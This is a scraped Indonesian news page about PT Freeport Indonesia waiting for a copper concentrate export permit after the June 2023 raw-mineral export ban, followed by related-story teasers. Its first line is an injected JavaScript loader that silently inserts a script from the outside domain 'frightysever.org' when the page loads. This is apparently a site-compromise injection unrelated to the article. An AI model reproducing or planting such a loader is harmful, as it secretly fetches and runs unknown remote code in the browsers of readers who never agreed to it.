(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Perusahaan tambang tembaga PT Freeport Indonesia, anak perusahaan Freeport-McMoran mengatakan belum memperoleh izin pemerintah untuk melanjutkan ekspor bahan bakunya.
Perusahaan itu mengaku konsentrat tembaga telah menumpuk sehingga kemungkinan sulit tertampung oleh fasilitas-fasilitas penyimpanannya di Papua.
Indonesia pada Juni melarang ekspor mineral mentah untuk menarik investasi ke dalam industri pengolahan logam dan meningkatkan nilai ekspornya, tetapi mengatakan akan mengizinkan beberapa perusahaan, termasuk Freeport, untuk terus mengekspor hingga pertengahan 2024.
Baca juga: Kejari Batola Tetapkan 2 Tersangka Penghalangan Penyidikan
“Ketiadaan izin ekspor mengakibatkan terhentinya kegiatan Freeport Indonesia yang berdampak signifikan terhadap keseluruhan kegiatan operasional dan penjualan hasil tambang,” kata juru bicara Freeport Indonesia, Katri Krisnati, Kamis (6/7/2023).
“Sampai hari ini, kami masih menunggu izin ekspor keluar,” katanya seraya menambahkan bahwa fasilitas-fasilitas penyimpanan di lokasi mereka di Kabupaten Mimika Papua sudah penuh dan sebagian bahan disimpan di luar ruangan.
Izin ekspor Freeport berakhir pada 10 Juni, ketika Indonesia memulai larangan ekspor mineral mentahnya. Sejak itu perusahaan tersebut tidak melakukan pengiriman ke luar negeri, kata Katri.
Penimbunan konsentrat tembaga juga tak terhindarkan karena konsumen domestik, PT Smelting, saat ini menutup sementara operasinya untuk pemeliharaan rutin selama 75 hari.
Baca juga: Bongkar Pasang Senjata Iringi Pelantikan 267 Bintara Polri SPN Banjarbaru
Menteri Energi dan Sumber Daya Mineral (ESDM) Arifin Tasrif mengatakan pihaknya telah mengeluarkan rekomendasi ekspor untuk Freeport pada Juni.
Berdasarkan rekomendasi Kementerian ESDM, Kementerian Perdagangan adalah pihak yang menerbitkan izin ekspor kepada perusahaan-perusahaan itu. Para pejabat Kementerian Perdagangan tidak segera menanggapi permintaan komentar. (voa.indonesia/ab/uh)
Editor: kk
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
This website uses cookies.